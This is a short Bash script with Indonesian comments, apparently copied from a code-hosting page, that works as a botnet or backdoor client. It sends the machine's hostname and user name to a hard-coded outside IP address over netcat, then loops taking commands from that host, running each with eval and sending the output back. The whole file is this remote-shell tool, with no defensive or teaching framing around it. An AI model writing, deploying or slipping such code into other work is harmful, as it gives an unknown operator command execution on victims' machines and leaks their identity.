29 lines
869 B
Bash
29 lines
869 B
Bash
#!/bin/bash
|
|
#for nc
|
|
SERVER_HOST="178.63.100.123"
|
|
SERVER_PORT=14006
|
|
BOT_NAME=$(hostname)
|
|
|
|
while true; do
|
|
# Kirimkan informasi awal ke server
|
|
echo "${BOT_NAME}|$(whoami)|$(id -u -n)" | nc $SERVER_HOST $SERVER_PORT
|
|
if [ $? -eq 0 ]; then
|
|
# Masuk ke mode interaktif untuk menerima perintah
|
|
while read -r command; do
|
|
if [ "$command" = "exit" ]; then
|
|
break
|
|
fi
|
|
|
|
# Jalankan perintah dan kirim output kembali
|
|
output=$(eval "$command" 2>&1)
|
|
if [ -z "$output" ]; then
|
|
output="Command executed with no output."
|
|
fi
|
|
echo "$output" | nc $SERVER_HOST $SERVER_PORT
|
|
done < <(nc -l $SERVER_HOST $SERVER_PORT)
|
|
else
|
|
echo "Failed to connect to $SERVER_HOST:$SERVER_PORT. Retrying..."
|
|
sleep 5
|
|
fi
|
|
done
|